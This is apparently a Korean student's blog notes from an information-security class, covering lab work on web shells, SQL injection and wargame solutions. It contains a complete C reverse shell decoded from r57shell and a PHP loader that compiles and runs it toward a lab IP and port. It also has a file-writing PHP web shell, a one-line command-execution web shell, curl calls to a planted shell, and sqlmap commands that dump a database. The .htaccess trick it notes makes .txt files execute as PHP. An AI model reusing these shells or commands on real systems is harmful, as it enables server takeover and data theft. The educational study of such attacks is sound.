왜인지 80번 포트가 닫혀있어서
firewall-cmd --zone=public --permanent --add-port=80/tcp
firewall-cmd --reload
방화벽에 등록해서 열어주었다
root계정이 아니라 apache 사용자로 접속하여 취약점 점검하기
1) usermod -s /bin/bash apache
2) 다른 터미널에서 apache 접속하기
3) usermod -s /sbin/nologin apache 아파치 로그인 다시 막기
4) apache 계정으로 보안점검하기
( root는 모든 권한이 있기 때문에 )
파일권한
755보다는 751 rwxr-x--x 이 좀 더 강력한 보안
base64로 인코딩 되어 있는 웹쉘의 소스코드
# echo -n Security! | base64
U2VjdXJpdHkh
=> base64로 인코딩하는 법
:set ff=dos
=> dos타입으로 저장하면 제대로 실행되지 않는다.
(*윈도우에서 리눅스로 가져온 파일이 dos타입일 수 있다. php는 영향x 웹쉘파일은 영향받음)
:set ff=unix
=> unix 타입으로 변경해야 제대로 동작한다.
od -c 텍스트파일
=> 엔터 자리에 \r\n 이 보인다면 dos타입으로 판단할 수 있다
윈도우에서 cmd로
scp 파일명 로그인아이디@ip주소:저장할위치
ex) scp test.txt liunxadmin@192.168.100.3:/home/linuxadmin
//디코딩된 웹쉘코드 #include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, char *argv[]) { int fd; struct sockaddr_in sin; char rms[21]="rm -f "; daemon(1,0); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); sin.sin_addr.s_addr = inet_addr(argv[1]); bzero(argv[1],strlen(argv[1])+1+strlen(argv[2])); fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ; if ((connect(fd, (struct sockaddr *) &sin, sizeof(struct sockaddr)))<0) { perror("[-] connect()"); exit(0); } strcat(rms, argv[0]); system(rms); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); execl("/bin/sh","sh -i", NULL); close(fd); } |
1589라인 (r57shell.php)
cf("/tmp/back.c",$back_connect_c);
=> back_connect_c의 내용을 /tmp/back.c로 파일을 만들어서
$blah = ex("gcc -o /tmp/backc /tmp/back.c");
=> gcc로 컴파일한 후
@unlink("/tmp/back.c");
=> 소스코드는 삭제하고
$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
=> 공격자 포트로 백그라운드 프로세스로 접속한다
<?php
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$w_file = fopen("back.c","w");
fputs($w_file, base64_decode($back_connect_c));
fclose($w_file);
system("gcc -o backc back.c");
unlink("back.c");
system("./backc 192.168.100.3 8000 &");
?>
인코딩된 코드를 이용하여, 리버스 쉘로 연결하는 코드
<?php
if ($_POST)
{
$f=fopen($_POST["f"],"w");
if(fwrite($f,$_POST["c"]))
echo "<font color=red>OK!</font>";
else
echo "<font color=blue>Error!</font>";
}
?>
<title> PHP WEB SHELL </title>
<form action="" method="post">
<input type="text" size=61 name="f" value='<?php echo $_SERVER["SCRIPT_FILENAME"];?>'><br><br>
<textarea name="c" cols=60 rows=15></textarea><br>
<input type="submit" id="b" value="Create"><br>
</form>
<p></p>
=> 해당 파일을 wh.php로 저장한 후, chmod 777로 권한을 변경하고
해당 페이지에서 ls를 입력한다. 그러면 wh.php의 내용이 ls로 변경된다.
즉, 해당 파일을 통해 웹쉘 악성코드를 업로드 할 수 있다는 뜻.
예를들면 <?php system($_GET['cmd']); ?> 를 작성하고 webshell.php?cmd=pwd 처럼 실행
해당 내용을 파일 업로드 기능을 통해 게시판에 업로드 한 후, 접근하여 악성코드를 작성하면 리버스 쉘로 연결하는 등의 공격이 가능하다.
이 때 만약
<?php system($_POST['cmd']); ?> 라면 어떻게 실행할 수 있을까?
1) html 페이지를 생성하여 호출한다
2) cURL 사용하기
curl -X POST -F "cmd=pwd" http://192.168.100.24/data/test2.php
curl을 사용하여 POST 전송하자 결과값이 출력된 모습
-F 옵션으로 값을 추가할 수 있고 (multipart/form-data Content-Type)
-d 옵션으로 값을 추가할 수 있다 (x-www-form-urlencoded Content-Type)
Content-Type을 지정하려면 -H 옵션을 사용한다
ex) -H "Content-Type: application/json"
당연히 이 때는 값을 '{"이름1":"값", "이름2":"값"}' 이러한 형식으로 보내야 한다
파일 업로드의 경우
-F 'image=@/home/linuxadmin/abcd.jpg' 이런식으로 사용
sqlmap을 이용한 SQLi 공격
(파이썬으로 만들어져있다)
sqlmap -u "http://192.168.100.24/?id=bbs1&m=read&no=17" -p no
=> -u는 url, -p는 취약한 파라미터를 의미
--dbs는 DB목록 출력. db목록이 출력된 모습.
데이터베이스를 바탕으로 추가 질의를 한다
sqlmap -u "http://192.168.100.24/?id=bbs1&m=read&no=17" -p no -D mywebsite --tables
테이블명들이 추출되었다
sqlmap -u "http://192.168.100.24/?id=bbs1&m=read&no=17" -p no -D mywebsite --columns
=> columns도 테이블별로 추출할 수 있다
옵션
-D 데이터베이스명
-T 테이블명
--dbs 데이터베이스 리스트 추출
--tables 테이블 리스트 추출
--columns 컬럼 리스트 추출
--dump 데이터 추출
데이터가 추출된 모습
CSV File도 만들어준다...
파일업로드시 확장자 필터링하는 php 코드
if(preg_match("/\.(php|html|htaccess)$/i", $_FILES['upfile']['name'])){
코드 ...
}
.htaccess 파일은 분산설정 파일을 의미한다
/etc/httpd/conf/httpd.conf 파일 설정의
<Directory "/var/www/html">
AllowOverride All
</Directory>
AllowOverride 설정이 None이면 비허용, All이면 허용이다
허용일 때 .htaccess 파일을 생성하여
Addtype application/x-httpd-php .txt
이러한 내용을 넣으면, .txt 파일이 php 코드로 인식된다
웹해킹 워게임
old-26
<?php if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); } $_GET['id'] = urldecode($_GET['id']); if($_GET['id'] == "admin"){ solve(26); } ?> |
=> /admin/이 포함되어 있으면 종료된다.
admin을 인코딩하여 %61%64%6d%69%6e로 입력해도 풀리지 않는다
왜냐하면 preg_match는 인코딩된 문자열도 인식하기 때문
burp를 이용하여 인코딩을 두 번했다
preg_match는 인코딩된 문자열을 인식하는데,
왜 소스코드에서는 또 다시 urldecode 하고 있을까? 라는 의문에 힌트가 있다
old-39
<?php $db = dbconnect(); if($_POST['id']){ $_POST['id'] = str_replace("\\","",$_POST['id']); $_POST['id'] = str_replace("'","''",$_POST['id']); $_POST['id'] = substr($_POST['id'],0,15); $result = mysqli_fetch_array(mysqli_query($db,"select 1 from member where length(id)<14 and id='{$_POST['id']}")); if($result[0] == 1){ solve(39); } } ?> |
=> post방식으로 id가 넘어오면, \를 공백으로, '를 ''로 변경한다. 0부터 15까지만 자른다.
이를 쿼리에 셋팅하여, 1개이상의 결과가 나오면 통과
Lord of SQL Injection
https://los.rubiya.kr/
gremlin: 기본적인 SQL 인젝션 기법을 이해하고 단순한 조건문 우회를 시도한다.
cobolt: 특정한 사용자 ID를 타겟으로 하는 SQL 인젝션을 수행한다.
goblin: 숫자형 입력에 대한 SQL 인젝션을 시도한다.
orc: 문자열 비교를 우회하는 방법을 찾아본다.
wolfman: SQL 쿼리의 논리 구조를 파악하고 이를 우회하는 인젝션을 시도한다.
darkelf: 복잡한 조건문을 포함한 쿼리를 분석하고 이를 우회하는 방법을 찾아본다.
orge: 다양한 필터링을 우회하는 SQL 인젝션 기법을 연습한다.
troll: 입력 값에 대한 필터링을 분석하고 이를 우회하는 방법을 찾아본다.
vampire: 블라인드 SQL 인젝션 기법을 활용하여 정보를 추출한다.
skeleton: 에러 기반 SQL 인젝션을 시도하여 정보를 얻는다.
golem: 타임 기반 블라인드 SQL 인젝션을 활용한다.
darkknight: 복잡한 필터링과 우회 기법을 연습한다.
bugbear: 다양한 데이터베이스 함수와 SQL 인젝션 기법을 활용한다.
giant: SQL 쿼리의 구조를 분석하고 이를 우회하는 방법을 찾아본다.
assassin: 와일드카드와 패턴 매칭을 활용한 SQL 인젝션 기법을 연습한다.
zombie Assassin: 더 복잡한 조건문과 필터링을 우회하는 방법을 찾아본다.
-- uccubus: 다양한 인코딩 기법을 활용하여 필터링을 우회해보세요. (없음 ?)
nightmare: 고급 블라인드 SQL 인젝션 기법을 연습한다.
xavis: 다양한 데이터베이스 엔진의 특성을 활용한 SQL 인젝션을 시도한다.
dragon: 복잡한 쿼리 구조와 필터링을 분석하고, 이를 우회하는 방법을 찾아본다.
오랜기간에 걸쳐있던 정보보안 수업이 종료되었다
아쉬움이 남는다
'정보보안' 카테고리의 다른 글
정보보안8 15차시 (0) | 2024.12.29 |
---|---|
정보보안8 14차시 (0) | 2024.12.28 |
정보보안8 12-13차시 (0) | 2024.12.22 |
정보보안8 11차시 (0) | 2024.12.15 |
정보보안8 8차시 (0) | 2024.12.01 |